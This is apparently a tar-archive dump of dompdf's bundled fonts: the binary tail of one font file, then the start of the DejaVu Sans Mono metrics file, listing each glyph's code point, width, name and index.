niA7F8uniA7F9uniF6C5uniFB52uniFB53uniFB54uniFB55uniFB56uniFB57uniFB58uniFB59uniFB5AuniFB5BuniFB5CuniFB5DuniFB5EuniFB5FuniFB60uniFB61uniFB62uniFB63uniFB64uniFB65uniFB66uniFB67uniFB68uniFB69uniFB6AuniFB6BuniFB6CuniFB6DuniFB6EuniFB6FuniFB70uniFB71uniFB72uniFB73uniFB74uniFB75uniFB76uniFB77uniFB78uniFB79uniFB7AuniFB7BuniFB7CuniFB7DuniFB7EuniFB7FuniFB80uniFB81uniFB8AuniFB8BuniFB8CuniFB8DuniFB8EuniFB8FuniFB90uniFB91uniFB92uniFB93uniFB94uniFB95uniFB9EuniFB9FuniFBAAuniFBABuniFBACuniFBADuniFBE8uniFBE9uniFBFCuniFBFDuniFBFEuniFBFFuniFE70uniFE71uniFE72uniFE73uniFE74uniFE76uniFE77uniFE78uniFE79uniFE7AuniFE7BuniFE7CuniFE7DuniFE7EuniFE7FuniFE80uniFE81uniFE82uniFE83uniFE84uniFE85uniFE86uniFE87uniFE88uniFE89uniFE8AuniFE8BuniFE8CuniFE8DuniFE8EuniFE8FuniFE90uniFE91uniFE92uniFE93uniFE94uniFE95uniFE96uniFE97uniFE98uniFE99uniFE9AuniFE9BuniFE9CuniFE9DuniFE9EuniFE9FuniFEA0uniFEA1uniFEA2uniFEA3uniFEA4uniFEA5uniFEA6uniFEA7uniFEA8uniFEA9uniFEAAuniFEABuniFEACuniFEADuniFEAEuniFEAFuniFEB0uniFEB1uniFEB2uniFEB3uniFEB4uniFEB5uniFEB6uniFEB7uniFEB8uniFEB9uniFEBAuniFEBBuniFEBCuniFEBDuniFEBEuniFEBFuniFEC0uniFEC1uniFEC2uniFEC3uniFEC4uniFEC5uniFEC6uniFEC7uniFEC8uniFEC9uniFECAuniFECBuniFECCuniFECDuniFECEuniFECFuniFED0uniFED1uniFED2uniFED3uniFED4uniFED5uniFED6uniFED7uniFED8uniFED9uniFEDAuniFEDBuniFEDCuniFEDDuniFEDEuniFEDFuniFEE0uniFEE1uniFEE2uniFEE3uniFEE4uniFEE5uniFEE6uniFEE7uniFEE8uniFEE9uniFEEAuniFEEBuniFEECuniFEEDuniFEEEuniFEEFuniFEF0uniFEF1uniFEF2uniFEF3uniFEF4uniFEF5uniFEF6uniFEF7uniFEF8uniFEF9uniFEFAuniFEFBuniFEFCuniFEFFuniFFF9uniFFFAuniFFFBuniFFFCuniFFFDu1D55A	dlLtcaronDieresisAcuteTildeGrave
CircumflexCaron
fractionslashuni0311.caseuni0306.caseuni0307.caseuni030B.caseuni030F.casethinquestionuni0304.caseunderbar
underbar.wideunderbar.smalljotdiaeresis.symbols
arabic_dotarabic_2dotsarabic_3dotsuni066E.finauni06A1.inituni06A1.mediuni066F.finauni06A1.finaarabic_3dots_aarabic_2dots_aarabic_4dotsarabic_gaf_bararabic_gaf_bar_aarabic_ringEng.altuni066Euni066Funi067Cuni067Duni0681uni0682uni0685uni0692uni06A1uni06B5uni06BAuni06C6uni06CEuni06D5exclamdown.casequestiondown.caseuni2E18.case��@t������������G���G�2���2�d�����k������
���
���������Y������&�Y�@�&���2���G������@���A�G�A��2�k�2����������%����������e�}��������f�2��������]������%�]�@�%���������e�2��d~�}d|S{f{2zez2yxfxdw�v�ts
s
rq.r�q.pfp}onm�n�ml]m�m�li%l]l@kkji%j�i@�%hfhdgfgdfefed�c�b�a}`�^d\[\�[Z2Y-YXWW�V2U�TSTSRQR�QPQPO�NMdN�MdL�K�JIJ�IH�G�F}EDE}DCA?2>=<=�<;<;:9:�9899�88@76776-6545K4343212d1-10/@0D/.-.-,--�@@	,+,,�@	+*++��@	*
**��@W)K('K&$&$%$%K$$#""2! 4!>  4�2��@	�@@	�@WK�77�22�2X}X


��@	
��@		
�@�	�@�

�d��+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++vendor/dompdf/dompdf/lib/fonts/DejaVuSansMono.ufm000066600000351732151150442770016054 0ustar00StartFontMetrics 4.1
Notice Converted by PHP-font-lib
Comment https://github.com/PhenX/php-font-lib
EncodingScheme FontSpecific
FontName DejaVu Sans Mono
FontSubfamily Book
UniqueID DejaVu Sans Mono
FullName DejaVu Sans Mono
Version Version 2.37
PostScriptName DejaVuSansMono
Manufacturer DejaVu fonts team
FontVendorURL http://dejavu.sourceforge.net
LicenseURL http://dejavu.sourceforge.net/wiki/index.php/License
Weight Medium
ItalicAngle 0
IsFixedPitch true
UnderlineThickness 44
UnderlinePosition -63
FontHeightOffset 0
Ascender 928
Descender -236
FontBBox -558 -375 718 1028
StartCharMetrics 3377
U 32 ; WX 602 ; N space ; G 3
U 33 ; WX 602 ; N exclam ; G 4
U 34 ; WX 602 ; N quotedbl ; G 5
U 35 ; WX 602 ; N numbersign ; G 6
U 36 ; WX 602 ; N dollar ; G 7
U 37 ; WX 602 ; N percent ; G 8
U 38 ; WX 602 ; N ampersand ; G 9
U 39 ; WX 602 ; N quotesingle ; G 10
U 40 ; WX 602 ; N parenleft ; G 11
U 41 ; WX 602 ; N parenright ; G 12
U 42 ; WX 602 ; N asterisk ; G 13
U 43 ; WX 602 ; N plus ; G 14
U 44 ; WX 602 ; N comma ; G 15
U 45 ; WX 602 ; N hyphen ; G 16
U 46 ; WX 602 ; N period ; G 17
U 47 ; WX 602 ; N slash ; G 18
U 48 ; WX 602 ; N zero ; G 19
U 49 ; WX 602 ; N one ; G 20
U 50 ; WX 602 ; N two ; G 21
U 51 ; WX 602 ; N three ; G 22
U 52 ; WX 602 ; N four ; G 23
U 53 ; WX 602 ; N five ; G 24
U 54 ; WX 602 ; N six ; G 25
U 55 ; WX 602 ; N seven ; G 26
U 56 ; WX 602 ; N eight ; G 27
U 57 ; WX 602 ; N nine ; G 28
U 58 ; WX 602 ; N colon ; G 29
U 59 ; WX 602 ; N semicolon ; G 30
U 60 ; WX 602 ; N less ; G 31
U 61 ; WX 602 ; N equal ; G 32
U 62 ; WX 602 ; N greater ; G 33
U 63 ; WX 602 ; N question ; G 34
U 64 ; WX 602 ; N at ; G 35
U 65 ; WX 602 ; N A ; G 36
U 66 ; WX 602 ; N B ; G 37
U 67 ; WX 602 ; N C ; G 38
U 68 ; WX 602 ; N D ; G 39
U 69 ; WX 602 ; N E ; G 40
U 70 ; WX 602 ; N F ; G 41
U 71 ; WX 602 ; N G ; G 42
U 72 ; WX 602 ; N H ; G 43
U 73 ; WX 602 ; N I ; G 44
U 74 ; WX 602 ; N J ; G 45
U 75 ; WX 602 ; N K ; G 46
U 76 ; WX 602 ; N L ; G 47
U 77 ; WX 602 ; N M ; G 48
U 78 ; WX 602 ; N N ; G 49
U 79 ; WX 602 ; N O ; G 50
U 80 ; WX 602 ; N P ; G 51
U 81 ; WX 602 ; N Q ; G 52
U 82 ; WX 602 ; N R ; G 53
U 83 ; WX 602 ; N S ; G 54
U 84 ; WX 602 ; N T ; G 55
U 85 ; WX 602 ; N U ; G 56
U 86 ; WX 602 ; N V ; G 57
U 87 ; WX 602 ; N W ; G 58
U 88 ; WX 602 ; N X ; G 59
U 89 ; WX 602 ; N Y ; G 60
U 90 ; WX 602 ; N Z ; G 61
U 91 ; WX 602 ; N bracketleft ; G 62
U 92 ; WX 602 ; N backslash ; G 63
U 93 ; WX 602 ; N bracketright ; G 64
U 94 ; WX 602 ; N asciicircum ; G 65
U 95 ; WX 602 ; N underscore ; G 66
U 96 ; WX 602 ; N grave ; G 67
U 97 ; WX 602 ; N a ; G 68
U 98 ; WX 602 ; N b ; G 69
U 99 ; WX 602 ; N c ; G 70
U 100 ; WX 602 ; N d ; G 71
U 101 ; WX 602 ; N e ; G 72
U 102 ; WX 602 ; N f ; G 73
U 103 ; WX 602 ; N g ; G 74
U 104 ; WX 602 ; N h ; G 75
U 105 ; WX 602 ; N i ; G 76
U 106 ; WX 602 ; N j ; G 77
U 107 ; WX 602 ; N k ; G 78
U 108 ; WX 602 ; N l ; G 79
U 109 ; WX 602 ; N m ; G 80
U 110 ; WX 602 ; N n ; G 81
U 111 ; WX 602 ; N o ; G 82
U 112 ; WX 602 ; N p ; G 83
U 113 ; WX 602 ; N q ; G 84
U 114 ; WX 602 ; N r ; G 85
U 115 ; WX 602 ; N s ; G 86
U 116 ; WX 602 ; N t ; G 87
U 117 ; WX 602 ; N u ; G 88
U 118 ; WX 602 ; N v ; G 89
U 119 ; WX 602 ; N w ; G 90
U 120 ; WX 602 ; N x ; G 91
U 121 ; WX 602 ; N y ; G 92
U 122 ; WX 602 ; N z ; G 93
U 123 ; WX 602 ; N braceleft ; G 94
U 124 ; WX 602 ; N bar ; G 95
U 125 ; WX 602 ; N braceright ; G 96
U 126 ; WX 602 ; N asciitilde ; G 97
U 160 ; WX 602 ; N nbspace ; G 98
U 161 ; WX 602 ; N exclamdown ; G 99
U 162 ; WX 602 ; N cent ; G 100
U 163 ; WX 602 ; N sterling ; G 101
U 164 ; WX 602 ; N currency ; G 102
U 165 ; WX 602 ; N yen ; G 103
U 166 ; WX 602 ; N brokenbar ; G 104
U 167 ; WX 602 ; N section ; G 105
U 168 ; WX 602 ; N dieresis ; G 106
U 169 ; WX 602 ; N copyright ; G 107
U 170 ; WX 602 ; N ordfeminine ; G 108
U 171 ; WX 602 ; N guillemotleft ; G 109
U 172 ; WX 602 ; N logicalnot ; G 110
U 173 ; WX 602 ; N sfthyphen ; G 111
U 174 ; WX 602 ; N registered ; G 112
U 175 ; WX 602 ; N macron ; G 113
U 176 ; WX 602 ; N degree ; G 114
U 177 ; WX 602 ; N plusminus ; G 115
U 178 ; WX 602 ; N twosuperior ; G 116
U 179 ; WX 602 ; N threesuperior ; G 117
U 180 ; WX 602 ; N acute ; G 118
U 181 ; WX 602 ; N mu ; G 119
U 182 ; WX 602 ; N paragraph ; G 120
U 183 ; WX 602 ; N periodcentered ; G 121
U 184 ; WX 602 ; N cedilla ; G 122
U 185 ; WX 602 ; N onesuperior ; G 123
U 186 ; WX 602 ; N ordmasculine ; G 124
U 187 ; WX 602 ; N guillemotright ; G 125
U 188 ; WX 602 ; N onequarter ; G 126
U 189 ; WX 602 ; N onehalf ; G 127
U 190 ; WX 602 ; N threequarters ; G 128
U 191 ; WX 602 ; N questiondown ; G 129
U 192 ; WX 602 ; N Agrave ; G 130
U 193 ; WX 602 ; N Aacute ; G 131
U 194 ; WX 602 ; N Acircumflex ; G 132
U 195 ; WX 602 ; N Atilde ; G 133
U 196 ; WX 602 ; N Adieresis ; G 134
U 197 ; WX 602 ; N Aring ; G 135
U 198 ; WX 602 ; N AE ; G 136
U 199 ; WX 602 ; N Ccedilla ; G 137
U 200 ; WX 602 ; N Egrave ; G 138
U 201 ; WX 602 ; N Eacute ; G 139
U 202 ; WX 602 ; N Ecircumflex ; G 140
U 203 ; WX 602 ; N Edieresis ; G 141
U 204 ; WX 602 ; N Igrave ; G 142
U 205 ; WX 602 ; N Iacute ; G 143
U 206 ; WX 602 ; N Icircumflex ; G 144
U 207 ; WX 602 ; N Idieresis ; G 145
U 208 ; WX 602 ; N Eth ; G 146
U 209 ; WX 602 ; N Ntilde ; G 147
U 210 ; WX 602 ; N Ograve ; G 148
U 211 ; WX 602 ; N Oacute ; G 149
U 212 ; WX 602 ; N Ocircumflex ; G 150
U 213 ; WX 602 ; N Otilde ; G 151
U 214 ; WX 602 ; N Odieresis ; G 152
U 215 ; WX 602 ; N multiply ; G 153
U 216 ; WX 602 ; N Oslash ; G 154
U 217 ; WX 602 ; N Ugrave ; G 155
U 218 ; WX 602 ; N Uacute ; G 156
U 219 ; WX 602 ; N Ucircumflex ; G 157
U 220 ; WX 602 ; N Udieresis ; G 158
U 221 ; WX 602 ; N Yacute ; G 159
U 222 ; WX 602 ; N Thorn ; G 160
U 223 ; WX 602 ; N germandbls ; G 161
U 224 ; WX 602 ; N agrave ; G 162
U 225 ; WX 602 ; N aacute ; G 163
U 226 ; WX 602 ; N acircumflex ; G 164
U 227 ; WX 602 ; N atilde ; G 165
U 228 ; WX 602 ; N adieresis ; G 166
U 229 ; WX 602 ; N aring ; G 167
U 230 ; WX 602 ; N ae ; G 168
U 231 ; WX 602 ; N ccedilla ; G 169
U 232 ; WX 602 ; N egrave ; G 170
U 233 ; WX 602 ; N eacute ; G 171
U 234 ; WX 602 ; N ecircumflex ; G 172
U 235 ; WX 602 ; N edieresis ; G 173
U 236 ; WX 602 ; N igrave ; G 174
U 237 ; WX 602 ; N iacute ; G 175
U 238 ; WX 602 ; N icircumflex ; G 176
U 239 ; WX 602 ; N idieresis ; G 177
U 240 ; WX 602 ; N eth ; G 178
U 241 ; WX 602 ; N ntilde ; G 179
U 242 ; WX 602 ; N ograve ; G 180
U 243 ; WX 602 ; N oacute ; G 181
U 244 ; WX 602 ; N ocircumflex ; G 182
U 245 ; WX 602 ; N otilde ; G 183
U 246 ; WX 602 ; N odieresis ; G 184
U 247 ; WX 602 ; N divide ; G 185
U 248 ; WX 602 ; N oslash ; G 186
U 249 ; WX 602 ; N ugrave ; G 187
U 250 ; WX 602 ; N uacute ; G 188
U 251 ; WX 602 ; N ucircumflex ; G 189
U 252 ; WX 602 ; N udieresis ; G 190
U 253 ; WX 602 ; N yacute ; G 191
U 254 ; WX 602 ; N thorn ; G 192
U 255 ; WX 602 ; N ydieresis ; G 193
U 256 ; WX 602 ; N Amacron ; G 194
U 257 ; WX 602 ; N amacron ; G 195
U 258 ; WX 602 ; N Abreve ; G 196
U 259 ; WX 602 ; N abreve ; G 197
U 260 ; WX 602 ; N Aogonek ; G 198
U 261 ; WX 602 ; N aogonek ; G 199
U 262 ; WX 602 ; N Cacute ; G 200
U 263 ; WX 602 ; N cacute ; G 201
U 264 ; WX 602 ; N Ccircumflex ; G 202
U 265 ; WX 602 ; N ccircumflex ; G 203
U 266 ; WX 602 ; N Cdotaccent ; G 204
U 267 ; WX 602 ; N cdotaccent ; G 205
U 268 ; WX 602 ; N Ccaron ; G 206
U 269 ; WX 602 ; N ccaron ; G 207
U 270 ; WX 602 ; N Dcaron ; G 208
U 271 ; WX 602 ; N dcaron ; G 209
U 272 ; WX 602 ; N Dcroat ; G 210
U 273 ; WX 602 ; N dmacron ; G 211
U 274 ; WX 602 ; N Emacron ; G 212
U 275 ; WX 602 ; N emacron ; G 213
U 276 ; WX 602 ; N Ebreve ; G 214
U 277 ; WX 602 ; N ebreve ; G 215
U 278 ; WX 602 ; N Edotaccent ; G 216
U 279 ; WX 602 ; N edotaccent ; G 217
U 280 ; WX 602 ; N Eogonek ; G 218
U 281 ; WX 602 ; N eogonek ; G 219
U 282 ; WX 602 ; N Ecaron ; G 220
U 283 ; WX 602 ; N ecaron ; G 221
U 284 ; WX 602 ; N Gcircumflex ; G 222
U 285 ; WX 602 ; N gcircumflex ; G 223
U 286 ; WX 602 ; N Gbreve ; G 224
U 287 ; WX 602 ; N gbreve ; G 225
U 288 ; WX 602 ; N Gdotaccent ; G 226
U 289 ; WX 602 ; N gdotaccent ; G 227
U 290 ; WX 602 ; N Gcommaaccent ; G 228
U 291 ; WX 602 ; N gcommaaccent ; G 229
U 292 ; WX 602 ; N Hcircumflex ; G 230
U 293 ; WX 602 ; N hcircumflex ; G 231
U 294 ; WX 602 ; N Hbar ; G 232
U 295 ; WX 602 ; N hbar ; G 233
U 296 ; WX 602 ; N Itilde ; G 234
U 297 ; WX 602 ; N itilde ; G 235
U 298 ; WX 602 ; N Imacron ; G 236
U 299 ; WX 602 ; N imacron ; G 237
U 300 ; WX 602 ; N Ibreve ; G 238
U 301 ; WX 602 ; N ibreve ; G 239
U 302 ; WX 602 ; N Iogonek ; G 240
U 303 ; WX 602 ; N iogonek ; G 241
U 304 ; WX 602 ; N Idot ; G 242
U 305 ; WX 602 ; N dotlessi ; G 243
U 306 ; WX 602 ; N IJ ; G 244
U 307 ; WX 602 ; N ij ; G 245
U 308 ; WX 602 ; N Jcircumflex ; G 246
U 309 ; WX 602 ; N jcircumflex ; G 247
U 310 ; WX 602 ; N Kcommaaccent ; G 248
U 311 ; WX 602 ; N kcommaaccent ; G 249
U 312 ; WX 602 ; N kgreenlandic ; G 250
U 313 ; WX 602 ; N Lacute ; G 251
U 314 ; WX 602 ; N lacute ; G 252
U 315 ; WX 602 ; N Lcommaaccent ; G 253
U 316 ; WX 602 ; N lcommaaccent ; G 254
U 317 ; WX 602 ; N Lcaron ; G 255
U 318 ; WX 602 ; N lcaron ; G 256
U 319 ; WX 602 ; N Ldot ; G 257
U 320 ; WX 602 ; N ldot ; G 258
U 321 ; WX 602 ; N Lslash ; G 259
U 322 ; WX 602 ; N lslash ; G 260
U 323 ; WX 602 ; N Nacute ; G 261
U 324 ; WX 602 ; N nacute ; G 262
U 325 ; WX 602 ; N Ncommaaccent ; G 263
U 326 ; WX 602 ; N ncommaaccent ; G 264
U 327 ; WX 602 ; N Ncaron ; G 265
U 328 ; WX 602 ; N ncaron ; G 266
U 329 ; WX 602 ; N napostrophe ; G 267
U 330 ; WX 602 ; N Eng ; G 268
U 331 ; WX 602 ; N eng ; G 269
U 332 ; WX 602 ; N Omacron ; G 270
U 333 ; WX 602 ; N omacron ; G 271
U 334 ; WX 602 ; N Obreve ; G 272
U 335 ; WX 602 ; N obreve ; G 273
U 336 ; WX 602 ; N Ohungarumlaut ; G 274
U 337 ; WX 602 ; N ohungarumlaut ; G 275
U 338 ; WX 602 ; N OE ; G 276
U 339 ; WX 602 ; N oe ; G 277
U 340 ; WX 602 ; N Racute ; G 278
U 341 ; WX 602 ; N racute ; G 279
U 342 ; WX 602 ; N Rcommaaccent ; G 280
U 343 ; WX 602 ; N rcommaaccent ; G 281
U 344 ; WX 602 ; N Rcaron ; G 282
U 345 ; WX 602 ; N rcaron ; G 283
U 346 ; WX 602 ; N Sacute ; G 284
U 347 ; WX 602 ; N sacute ; G 285
U 348 ; WX 602 ; N Scircumflex ; G 286
U 349 ; WX 602 ; N scircumflex ; G 287
U 350 ; WX 602 ; N Scedilla ; G 288
U 351 ; WX 602 ; N scedilla ; G 289
U 352 ; WX 602 ; N Scaron ; G 290
U 353 ; WX 602 ; N scaron ; G 291
U 354 ; WX 602 ; N Tcommaaccent ; G 292
U 355 ; WX 602 ; N tcommaaccent ; G 293
U 356 ; WX 602 ; N Tcaron ; G 294
U 357 ; WX 602 ; N tcaron ; G 295
U 358 ; WX 602 ; N Tbar ; G 296
U 359 ; WX 602 ; N tbar ; G 297
U 360 ; WX 602 ; N Utilde ; G 298
U 361 ; WX 602 ; N utilde ; G 299
U 362 ; WX 602 ; N Umacron ; G 300
U 363 ; WX 602 ; N umacron ; G 301
U 364 ; WX 602 ; N Ubreve ; G 302
U 365 ; WX 602 ; N ubreve ; G 303
U 366 ; WX 602 ; N Uring ; G 304
U 367 ; WX 602 ; N uring ; G 305
U 368 ; WX 602 ; N Uhungarumlaut ; G 306
U 369 ; WX 602 ; N uhungarumlaut ; G 307
U 370 ; WX 602 ; N Uogonek ; G 308
U 371 ; WX 602 ; N uogonek ; G 309
U 372 ; WX 602 ; N Wcircumflex ; G 310
U 373 ; WX 602 ; N wcircumflex ; G 311
U 374 ; WX 602 ; N Ycircumflex ; G 312
U 375 ; WX 602 ; N ycircumflex ; G 313
U 376 ; WX 602 ; N Ydieresis ; G 314
U 377 ; WX 602 ; N Zacute ; G 315
U 378 ; WX 602 ; N zacute ; G 316
U 379 ; WX 602 ; N Zdotaccent ; G 317
U 380 ; WX 602 ; N zdotaccent ; G 318
U 381 ; WX 602 ; N Zcaron ; G 319
U 382 ; WX 602 ; N zcaron ; G 320
U 383 ; WX 602 ; N longs ; G 321
U 384 ; WX 602 ; N uni0180 ; G 322
U 385 ; WX 602 ; N uni0181 ; G 323
U 386 ; WX 602 ; N uni0182 ; G 324
U 387 ; WX 602 ; N uni0183 ; G 325
U 388 ; WX 602 ; N uni0184 ; G 326
U 389 ; WX 602 ; N uni0185 ; G 327
U 390 ; WX 602 ; N uni0186 ; G 328
U 391 ; WX 602 ; N uni0187 ; G 329
U 392 ; WX 602 ; N uni0188 ; G 330
U 393 ; WX 602 ; N uni0189 ; G 331
U 394 ; WX 602 ; N uni018A ; G 332
U 395 ; WX 602 ; N uni018B ; G 333
U 396 ; WX 602 ; N uni018C ; G 334
U 397 ; WX 602 ; N uni018D ; G 335
U 398 ; WX 602 ; N uni018E ; G 336
U 399 ; WX 602 ; N uni018F ; G 337
U 400 ; WX 602 ; N uni0190 ; G 338
U 401 ; WX 602 ; N uni0191 ; G 339
U 402 ; WX 602 ; N florin ; G 340
U 403 ; WX 602 ; N uni0193 ; G 341
U 404 ; WX 602 ; N uni0194 ; G 342
U 405 ; WX 602 ; N uni0195 ; G 343
U 406 ; WX 602 ; N uni0196 ; G 344
U 407 ; WX 602 ; N uni0197 ; G 345
U 408 ; WX 602 ; N uni0198 ; G 346
U 409 ; WX 602 ; N uni0199 ; G 347
U 410 ; WX 602 ; N uni019A ; G 348
U 411 ; WX 602 ; N uni019B ; G 349
U 412 ; WX 602 ; N uni019C ; G 350
U 413 ; WX 602 ; N uni019D ; G 351
U 414 ; WX 602 ; N uni019E ; G 352
U 415 ; WX 602 ; N uni019F ; G 353
U 416 ; WX 602 ; N Ohorn ; G 354
U 417 ; WX 602 ; N ohorn ; G 355
U 418 ; WX 602 ; N uni01A2 ; G 356
U 419 ; WX 602 ; N uni01A3 ; G 357
U 420 ; WX 602 ; N uni01A4 ; G 358
U 421 ; WX 602 ; N uni01A5 ; G 359
U 422 ; WX 602 ; N uni01A6 ; G 360
U 423 ; WX 602 ; N uni01A7 ; G 361
U 424 ; WX 602 ; N uni01A8 ; G 362
U 425 ; WX 602 ; N uni01A9 ; G 363
U 426 ; WX 602 ; N uni01AA ; G 364
U 427 ; WX 602 ; N uni01AB ; G 365
U 428 ; WX 602 ; N uni01AC ; G 366
U 429 ; WX 602 ; N uni01AD ; G 367
U 430 ; WX 602 ; N uni01AE ; G 368
U 431 ; WX 602 ; N Uhorn ; G 369
U 432 ; WX 602 ; N uhorn ; G 370
U 433 ; WX 602 ; N uni01B1 ; G 371
U 434 ; WX 602 ; N uni01B2 ; G 372
U 435 ; WX 602 ; N uni01B3 ; G 373
U 436 ; WX 602 ; N uni01B4 ; G 374
U 437 ; WX 602 ; N uni01B5 ; G 375
U 438 ; WX 602 ; N uni01B6 ; G 376
U 439 ; WX 602 ; N uni01B7 ; G 377
U 440 ; WX 602 ; N uni01B8 ; G 378
U 441 ; WX 602 ; N uni01B9 ; G 379
U 442 ; WX 602 ; N uni01BA ; G 380
U 443 ; WX 602 ; N uni01BB ; G 381
U 444 ; WX 602 ; N uni01BC ; G 382
U 445 ; WX 602 ; N uni01BD ; G 383
U 446 ; WX 602 ; N uni01BE ; G 384
U 447 ; WX 602 ; N uni01BF ; G 385
U 448 ; WX 602 ; N uni01C0 ; G 386
U 449 ; WX 602 ; N uni01C1 ; G 387
U 450 ; WX 602 ; N uni01C2 ; G 388
U 451 ; WX 602 ; N uni01C3 ; G 389
U 461 ; WX 602 ; N uni01CD ; G 390
U 462 ; WX 602 ; N uni01CE ; G 391
U 463 ; WX 602 ; N uni01CF ; G 392
U 464 ; WX 602 ; N uni01D0 ; G 393
U 465 ; WX 602 ; N uni01D1 ; G 394
U 466 ; WX 602 ; N uni01D2 ; G 395
U 467 ; WX 602 ; N uni01D3 ; G 396
U 468 ; WX 602 ; N uni01D4 ; G 397
U 469 ; WX 602 ; N uni01D5 ; G 398
U 470 ; WX 602 ; N uni01D6 ; G 399
U 471 ; WX 602 ; N uni01D7 ; G 400
U 472 ; WX 602 ; N uni01D8 ; G 401
U 473 ; WX 602 ; N uni01D9 ; G 402
U 474 ; WX 602 ; N uni01DA ; G 403
U 475 ; WX 602 ; N uni01DB ; G 404
U 476 ; WX 602 ; N uni01DC ; G 405
U 477 ; WX 602 ; N uni01DD ; G 406
U 478 ; WX 602 ; N uni01DE ; G 407
U 479 ; WX 602 ; N uni01DF ; G 408
U 480 ; WX 602 ; N uni01E0 ; G 409
U 481 ; WX 602 ; N uni01E1 ; G 410
U 482 ; WX 602 ; N uni01E2 ; G 411
U 483 ; WX 602 ; N uni01E3 ; G 412
U 486 ; WX 602 ; N Gcaron ; G 413
U 487 ; WX 602 ; N gcaron ; G 414
U 488 ; WX 602 ; N uni01E8 ; G 415
U 489 ; WX 602 ; N uni01E9 ; G 416
U 490 ; WX 602 ; N uni01EA ; G 417
U 491 ; WX 602 ; N uni01EB ; G 418
U 492 ; WX 602 ; N uni01EC ; G 419
U 493 ; WX 602 ; N uni01ED ; G 420
U 494 ; WX 602 ; N uni01EE ; G 421
U 495 ; WX 602 ; N uni01EF ; G 422
U 496 ; WX 602 ; N uni01F0 ; G 423
U 500 ; WX 602 ; N uni01F4 ; G 424
U 501 ; WX 602 ; N uni01F5 ; G 425
U 502 ; WX 602 ; N uni01F6 ; G 426
U 504 ; WX 602 ; N uni01F8 ; G 427
U 505 ; WX 602 ; N uni01F9 ; G 428
U 508 ; WX 602 ; N AEacute ; G 429
U 509 ; WX 602 ; N aeacute ; G 430
U 510 ; WX 602 ; N Oslashacute ; G 431
U 511 ; WX 602 ; N oslashacute ; G 432
U 512 ; WX 602 ; N uni0200 ; G 433
U 513 ; WX 602 ; N uni0201 ; G 434
U 514 ; WX 602 ; N uni0202 ; G 435
U 515 ; WX 602 ; N uni0203 ; G 436
U 516 ; WX 602 ; N uni0204 ; G 437
U 517 ; WX 602 ; N uni0205 ; G 438
U 518 ; WX 602 ; N uni0206 ; G 439
U 519 ; WX 602 ; N uni0207 ; G 440
U 520 ; WX 602 ; N uni0208 ; G 441
U 521 ; WX 602 ; N uni0209 ; G 442
U 522 ; WX 602 ; N uni020A ; G 443
U 523 ; WX 602 ; N uni020B ; G 444
U 524 ; WX 602 ; N uni020C ; G 445
U 525 ; WX 602 ; N uni020D ; G 446
U 526 ; WX 602 ; N uni020E ; G 447
U 527 ; WX 602 ; N uni020F ; G 448
U 528 ; WX 602 ; N uni0210 ; G 449
U 529 ; WX 602 ; N uni0211 ; G 450
U 530 ; WX 602 ; N uni0212 ; G 451
U 531 ; WX 602 ; N uni0213 ; G 452
U 532 ; WX 602 ; N uni0214 ; G 453
U 533 ; WX 602 ; N uni0215 ; G 454
U 534 ; WX 602 ; N uni0216 ; G 455
U 535 ; WX 602 ; N uni0217 ; G 456
U 536 ; WX 602 ; N Scommaaccent ; G 457
U 537 ; WX 602 ; N scommaaccent ; G 458
U 538 ; WX 602 ; N uni021A ; G 459
U 539 ; WX 602 ; N uni021B ; G 460
U 540 ; WX 602 ; N uni021C ; G 461
U 541 ; WX 602 ; N uni021D ; G 462
U 542 ; WX 602 ; N uni021E ; G 463
U 543 ; WX 602 ; N uni021F ; G 464
U 544 ; WX 602 ; N uni0220 ; G 465
U 545 ; WX 602 ; N uni0221 ; G 466
U 548 ; WX 602 ; N uni0224 ; G 467
U 549 ; WX 602 ; N uni0225 ; G 468
U 550 ; WX 602 ; N uni0226 ; G 469
U 551 ; WX 602 ; N uni0227 ; G 470
U 552 ; WX 602 ; N uni0228 ; G 471
U 553 ; WX 602 ; N uni0229 ; G 472
U 554 ; WX 602 ; N uni022A ; G 473
U 555 ; WX 602 ; N uni022B ; G 474
U 556 ; WX 602 ; N uni022C ; G 475
U 557 ; WX 602 ; N uni022D ; G 476
U 558 ; WX 602 ; N uni022E ; G 477
U 559 ; WX 602 ; N uni022F ; G 478
U 560 ; WX 602 ; N uni0230 ; G 479
U 561 ; WX 602 ; N uni0231 ; G 480
U 562 ; WX 602 ; N uni0232 ; G 481
U 563 ; WX 602 ; N uni0233 ; G 482
U 564 ; WX 602 ; N uni0234 ; G 483
U 565 ; WX 602 ; N uni0235 ; G 484
U 566 ; WX 602 ; N uni0236 ; G 485
U 567 ; WX 602 ; N dotlessj ; G 486
U 568 ; WX 602 ; N uni0238 ; G 487
U 569 ; WX 602 ; N uni0239 ; G 488
U 570 ; WX 602 ; N uni023A ; G 489
U 571 ; WX 602 ; N uni023B ; G 490
U 572 ; WX 602 ; N uni023C ; G 491
U 573 ; WX 602 ; N uni023D ; G 492
U 574 ; WX 602 ; N uni023E ; G 493
U 575 ; WX 602 ; N uni023F ; G 494
U 576 ; WX 602 ; N uni0240 ; G 495
U 577 ; WX 602 ; N uni0241 ; G 496
U 579 ; WX 602 ; N uni0243 ; G 497
U 580 ; WX 602 ; N uni0244 ; G 498
U 581 ; WX 602 ; N uni0245 ; G 499
U 588 ; WX 602 ; N uni024C ; G 500
U 589 ; WX 602 ; N uni024D ; G 501
U 592 ; WX 602 ; N uni0250 ; G 502
U 593 ; WX 602 ; N uni0251 ; G 503
U 594 ; WX 602 ; N uni0252 ; G 504
U 595 ; WX 602 ; N uni0253 ; G 505
U 596 ; WX 602 ; N uni0254 ; G 506
U 597 ; WX 602 ; N uni0255 ; G 507
U 598 ; WX 602 ; N uni0256 ; G 508
U 599 ; WX 602 ; N uni0257 ; G 509
U 600 ; WX 602 ; N uni0258 ; G 510
U 601 ; WX 602 ; N uni0259 ; G 511
U 602 ; WX 602 ; N uni025A ; G 512
U 603 ; WX 602 ; N uni025B ; G 513
U 604 ; WX 602 ; N uni025C ; G 514
U 605 ; WX 602 ; N uni025D ; G 515
U 606 ; WX 602 ; N uni025E ; G 516
U 607 ; WX 602 ; N uni025F ; G 517
U 608 ; WX 602 ; N uni0260 ; G 518
U 609 ; WX 602 ; N uni0261 ; G 519
U 610 ; WX 602 ; N uni0262 ; G 520
U 611 ; WX 602 ; N uni0263 ; G 521
U 612 ; WX 602 ; N uni0264 ; G 522
